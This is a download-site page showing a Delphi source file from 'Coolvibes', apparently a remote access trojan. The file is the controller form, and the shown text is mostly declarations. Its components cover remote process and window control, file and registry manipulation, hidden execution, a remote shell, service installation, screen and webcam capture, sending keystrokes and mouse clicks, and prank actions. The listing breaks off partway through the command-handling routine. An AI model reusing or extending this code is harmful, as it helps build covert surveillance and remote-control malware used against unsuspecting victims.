⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitformcontrol.pas

📁 Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 远程控制
💻 PAS
字号:
unit UnitFormControl;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, CommCtrl,
  Dialogs, ComCtrls, XPMan, ImgList, Menus, ExtCtrls, StdCtrls, Buttons, ScktComp, Jpeg,
  UnitVariables, Spin, IdThreadMgr, IdThreadMgrDefault, IdAntiFreezeBase,
  IdAntiFreeze, IdBaseComponent, IdComponent, IdTCPServer, UnitTransfer;


{type
  TDescarga = record
    Item: TListItem;  //Item de la descarga
    Descargado: Int64;  //Datos descargados
    SizeFile: Int64;
    Origen, Destino: String;
    TickComienzo: Cardinal;
    UltimoBajado: Int64;  //Lo usamos para que el timer cada segundo compare lo que se ha bajado con lo que se habia bajado hace un segundo
  end;



  TClientStatus = (CSIdle, CSReceivingScreen, CSReceivingWebcam);  //Saber el estado de la screencap (para servir como interruptor)
  }
type
  TFormControl = class(TForm)
    PageControl: TPageControl;
    TabInfo: TTabSheet;
    BtnRefrescarInformacion: TSpeedButton;
    ListViewInformacion: TListView;
    TabProcesos: TTabSheet;
    BtnRefrescarProcesos: TSpeedButton;
    ListViewProcesos: TListView;
    TabVentanas: TTabSheet;
    BtnRefrescarVentanas: TSpeedButton;
    ListViewVentanas: TListView;
    TabBromas: TTabSheet;
    BtnEnviarBromas: TSpeedButton;
    ListViewBromas: TListView;
    TabFileManager: TTabSheet;
    LabelPathArchivos: TLabel;
    LabelNumeroDeArchivos: TLabel;
    LabelNumeroDeCarpetas: TLabel;
    BtnActualizarArchivos: TSpeedButton;
    BtnVerUnidades: TSpeedButton;
    cmbUnidades: TComboBox;
    ListViewArchivos: TListView;
    EditPathArchivos: TEdit;
    TabRegistro: TTabSheet;
    LabelPathRegistro: TLabel;
    BtnVerRegisto: TSpeedButton;
    TreeViewRegedit: TTreeView;
    ListViewRegistro: TListView;
    EditPathRegistro: TEdit;
    Mensajes: TTabSheet;
    LabelMensaje: TLabel;
    LabelTituloMensaje: TLabel;
    MemoMensaje: TMemo;
    EditTituloMensaje: TEdit;
    GrpBoxTipoMensaje: TGroupBox;
    ImgError: TImage;
    ImgAsterisk: TImage;
    ImgWarning: TImage;
    ImgInfo: TImage;
    RdBtnError: TRadioButton;
    RdBtnPregunta: TRadioButton;
    RdBtnExclamacion: TRadioButton;
    RdBtnInfo: TRadioButton;
    RdBtnVacio: TRadioButton;
    RdGrpBotonesMensaje: TRadioGroup;
    TabScreencap: TTabSheet;
    btnGuardarImagen: TSpeedButton;
    LabelPosicionCompresJpg: TLabel;
    LabelCalidadCapScreen: TLabel;
    ProgressBarScreen: TProgressBar;
    TrackBarCalidad: TTrackBar;
    DlgGuardar: TSaveDialog;
    PopupProcess: TPopupMenu;
    Cerrar1: TMenuItem;
    PopupWindows: TPopupMenu;
    Cerrar2: TMenuItem;
    Maximizar1: TMenuItem;
    Minimizar1: TMenuItem;
    Mostrar1: TMenuItem;
    Ocultar1: TMenuItem;
    Minimizartodas1: TMenuItem;
    BotnCerrarX1: TMenuItem;
    Activar1: TMenuItem;
    Desactivar1: TMenuItem;
    PopupFileManager: TPopupMenu;
    EjecutarAbrir1: TMenuItem;
    Normal1: TMenuItem;
    Oculto1: TMenuItem;
    Eliminar: TMenuItem;
    Cambiarnombre1: TMenuItem;
    Crearnuevacarpeta1: TMenuItem;
    PopupRegistro: TPopupMenu;
    Nuevo1: TMenuItem;
    Clave1: TMenuItem;
    N2: TMenuItem;
    Valoralfanumrico1: TMenuItem;
    Valorbinerio1: TMenuItem;
    valorDWORD1: TMenuItem;
    Valordecadenamltiple1: TMenuItem;
    N3: TMenuItem;
    N1: TMenuItem;
    Eliminar1: TMenuItem;
    IconsArchivos: TImageList;
    XPManifest: TXPManifest;
    StatusBar: TStatusBar;
    BtnCapturarScreen: TSpeedButton;
    BtnEnviarMensaje: TSpeedButton;
    Enviarteclas1: TMenuItem;
    TabWebcam: TTabSheet;
    ProgressBarWebcam: TProgressBar;
    TrackBarCalidadWebcam: TTrackBar;
    LabelPosicionCompresJpgWebcam: TLabel;
    LabelCalidadWebcam: TLabel;
    BtnCapturarWebcam: TSpeedButton;
    BtnGuardarWebcam: TSpeedButton;
    ComboBoxWebcam: TComboBox;
    BtnObtenerWebcams: TSpeedButton;
    CheckBoxMouseClicks: TCheckBox;
    TabServidor: TTabSheet;
    ListViewServidor: TListView;
    BtnActualizarServidorInfo: TSpeedButton;
    ComboBoxGestionDeServidor: TComboBox;
    BtnEnviarComandoServidor: TSpeedButton;
    GrpBoxGestionDeServidor: TGroupBox;
    BtnVerGrandeCap: TSpeedButton;
    ImgWebcam: TImage;
    BtnZoomIn: TSpeedButton;
    BtnZoomOut: TSpeedButton;
    ScrollBoxCapScreenM: TScrollBox;
    imgCaptura: TImage;
    ClicksRemotos: TLabel;
    CapScreenCheck: TCheckBox;
    SpinCaptureScreen: TSpinEdit;
    TimerCaptureScreen: TTimer;
    Descargarfichero1: TMenuItem;
    N4: TMenuItem;
    TabTransferencias: TTabSheet;
    ListViewDescargas: TListView;
    Label1: TLabel;
    PopupDescargas: TPopupMenu;
    Subir1: TMenuItem;
    Bajar1: TMenuItem;
    Subiralprimerpuesto1: TMenuItem;
    ltimopuesto1: TMenuItem;
    Borrarcompletados1: TMenuItem;
    Eliminardescarga1: TMenuItem;
    Subirfichero1: TMenuItem;
    OpenDialogUpload: TOpenDialog;
    TabShell: TTabSheet;
    MemoShell: TMemo;
    PopupShell: TPopupMenu;
    Activar2: TMenuItem;
    ComboBoxShellCommand: TComboBox;
    DlgFont: TFontDialog;
    BtnCambiarFuenteShell: TSpeedButton;
    BtnCambiarColorShell: TSpeedButton;
    DlgColors: TColorDialog;
    Desactivar2: TMenuItem;
    N5: TMenuItem;
    Guardarcmo1: TMenuItem;
    TabServicios: TTabSheet;
    ListViewServicios: TListView;
    BtnServicios: TSpeedButton;
    PopupServicios: TPopupMenu;
    Iniciar1: TMenuItem;
    DEtener1: TMenuItem;
    Desinstalar1: TMenuItem;
    Instalar1: TMenuItem;
    MultiEditInstalarServicio: TEdit;
    btnSiguienteInstalarServicio: TSpeedButton;
    BtnCancelarInstalarServicio: TSpeedButton;
    btnInstServicios: TSpeedButton;
    btnInstServicios2: TSpeedButton;
    DetenerDescarga1: TMenuItem;
    ReanudarDescarga1: TMenuItem;
    Agregaracoladedescarga1: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure BtnRefrescarProcesosClick(Sender: TObject);
    procedure BtnRefrescarVentanasClick(Sender: TObject);
    procedure cmbUnidadesSelect(Sender: TObject);
    procedure ListViewArchivosDblClick(Sender: TObject);
    procedure Cerrar1Click(Sender: TObject);
    procedure Cerrar2Click(Sender: TObject);
    procedure Maximizar1Click(Sender: TObject);
    procedure Minimizar1Click(Sender: TObject);
    procedure Mostrar1Click(Sender: TObject);
    procedure Ocultar1Click(Sender: TObject);
    procedure Minimizartodas1Click(Sender: TObject);
    procedure Normal1Click(Sender: TObject);
    procedure Oculto1Click(Sender: TObject);
    procedure EliminarClick(Sender: TObject);
    procedure Cambiarnombre1Click(Sender: TObject);
    procedure Crearnuevacarpeta1Click(Sender: TObject);
    procedure BtnRefrescarInformacionClick(Sender: TObject);
    procedure BtnActualizarArchivosClick(Sender: TObject);
    procedure BtnEnviarBromasClick(Sender: TObject);
    procedure BtnVerUnidadesClick(Sender: TObject);
    procedure TreeViewRegeditDblClick(Sender: TObject);
    procedure TreeViewRegeditChange(Sender: TObject; Node: TTreeNode);
    procedure BtnVerRegistoClick(Sender: TObject);
    procedure N1Click(Sender: TObject);
    procedure ListViewRegistroEdited(Sender: TObject; Item: TListItem;
      var S: String);
    procedure Eliminar1Click(Sender: TObject);
    procedure Valoralfanumrico1Click(Sender: TObject);
    procedure TreeViewRegeditContextPopup(Sender: TObject;
      MousePos: TPoint; var Handled: Boolean);
    procedure ListViewRegistroContextPopup(Sender: TObject;
      MousePos: TPoint; var Handled: Boolean);
    procedure Clave1Click(Sender: TObject);
    procedure ListViewArchivosContextPopup(Sender: TObject;
      MousePos: TPoint; var Handled: Boolean);
    procedure ListViewArchivosEdited(Sender: TObject; Item: TListItem;
      var S: String);
    procedure Valorbinerio1Click(Sender: TObject);
    procedure valorDWORD1Click(Sender: TObject);
    procedure Valordecadenamltiple1Click(Sender: TObject);
    procedure BtnEnviarMensajeClick(Sender: TObject);
    procedure Activar1Click(Sender: TObject);
    procedure Desactivar1Click(Sender: TObject);
    procedure TrackBarCalidadChange(Sender: TObject);
    procedure btnGuardarImagenClick(Sender: TObject);
    procedure BtnCapturarScreen1Click(Sender: TObject);
    procedure Enviarteclas1Click(Sender: TObject);
    procedure TrackBarCalidadWebcamChange(Sender: TObject);
    procedure BtnObtenerWebcamsClick(Sender: TObject);
    procedure BtnCapturarWebcamClick(Sender: TObject);
    procedure EnviarClickM(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure BtnActualizarServidorInfoClick(Sender: TObject);
    procedure BtnEnviarComandoServidorClick(Sender: TObject);
    procedure BtnVerGrandeCapClick(Sender: TObject);
    procedure BtnZoomOutClick(Sender: TObject);
    procedure BtnZoomInClick(Sender: TObject);
    procedure TimerCaptureScreenTimer(Sender: TObject);
    procedure Descargarfichero1Click(Sender: TObject);
    procedure Borrarcompletados1Click(Sender: TObject);
    procedure ListViewDescargasContextPopup(Sender: TObject;
      MousePos: TPoint; var Handled: Boolean);
    procedure ListViewDescargasCustomDrawSubItem(Sender: TCustomListView;
      Item: TListItem; SubItem: Integer; State: TCustomDrawState;
      var DefaultDraw: Boolean);
    procedure Eliminardescarga1Click(Sender: TObject);
    procedure Subiralprimerpuesto1Click(Sender: TObject);
    procedure Subir1Click(Sender: TObject);
    procedure Bajar1Click(Sender: TObject);
    procedure ltimopuesto1Click(Sender: TObject);
    procedure Subirfichero1Click(Sender: TObject);
    procedure Activar2Click(Sender: TObject);
    procedure ComboBoxShellCommandKeyPress(Sender: TObject; var Key: Char);
    procedure BtnCambiarFuenteShellClick(Sender: TObject);
    procedure BtnCambiarColorShellClick(Sender: TObject);
    procedure PopupShellPopup(Sender: TObject);
    procedure Desactivar2Click(Sender: TObject);
    procedure Guardarcmo1Click(Sender: TObject);
    procedure BtnServiciosClick(Sender: TObject);
    procedure DEtener1Click(Sender: TObject);
    procedure Iniciar1Click(Sender: TObject);
    procedure Desinstalar1Click(Sender: TObject);
    procedure Instalar1Click(Sender: TObject);
    procedure BtnCancelarInstalarServicioClick(Sender: TObject);
    procedure btnSiguienteInstalarServicioClick(Sender: TObject);
    procedure btnInstServiciosClick(Sender: TObject);
    procedure btnInstServicios2Click(Sender: TObject);
    procedure PopupDescargasPopup(Sender: TObject);
    procedure DetenerDescarga1Click(Sender: TObject);
    procedure ReanudarDescarga1Click(Sender: TObject);
    procedure ObtenerScreenCap_CamCap(AThread: TIdPeerThread; filesize:int64);
    procedure Agregaracoladedescarga1Click(Sender: TObject);
    procedure EditPathArchivosKeyPress(Sender: TObject; var Key: Char);
  private  //Funciones y variables privadas que solo podemos usar en este Form
    Servidor1: TIdPeerThread;
    TheFileSize: Integer;
    FS, FSFile, FSFileUpload: TFileStream;
    //Variables para recibir ficheros
    RecibiendoFichero : Boolean;
    NombreSI,descripcionSI,rutaSi:string;//EnviarInstalarservicios
    function ObtenerRutaAbsolutaDeArbol(Nodo: TTreeNode): String;
    function IconNum(strExt: String): Integer;
    procedure AniadirClavesARegistro(Claves: String);
    procedure AniadirValoresARegistro(Valores: String);
    procedure UpdateProgressBarScreen;
    procedure TransferFinishedNotification(Sender:TObject);
  public  //Funciones p鷅licas que podemos llamar desde otros Forms
    NombrePC: String; //Nombre del PC remoto
    constructor Create(aOwner: TComponent; AThread: TIdPeerThread);overload;
    procedure OnRead(command: String; AThread: TIdPeerThread); overload;
    procedure OnReadFile(AThread: TIdPeerThread);overload;
//    procedure show(AThread: TIdPeerThread);overload;
  end;

var
  FormControl: TFormControl;
  pctProgressBarScreen: integer;
  GenericBar: TProgressBar;

implementation

uses
  UnitMain, UnitFormReg, ScreenMaxCap, UnitFormSendKeys, UnitFunciones;

{$R *.dfm}


constructor TFormControl.Create(aOwner: TComponent; AThread: TIdPeerThread);
begin
  inherited Create(aOwner);
  Servidor1 := AThread;
end;

procedure TFormControl.FormCreate(Sender: TObject);
begin
//  cstate := CSIdle;
  RecibiendoFichero := False;
end;



procedure TFormControl.OnRead(command: String; AThread: TIdPeerThread);
var
  Recibido, TempStr: String;
  Item: TListItem;
  i, a: Integer;
  ReceiveLen: Integer;
  RealSize:String;
begin

  Recibido := Command;
//  ShowMessage(Recibido); //Para debuggear!

  if (Recibido = '') or (Recibido = 'connected?') then Exit;

  if Recibido = 'PONG' then  //Tiempo actual menos almacenado
    //Primero buscar el item  del listview que corresponde a esta conexi髇
    for i :=0 to FormMain.ListViewConexiones.Items.Count - 1 do
     if HWND(FormMain.ListViewConexiones.Items[i].Subitems.Objects[0]) = Athread.Handle then
     begin
       //Restamos al valor actual, el valor de cuando hicimos PING que est

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -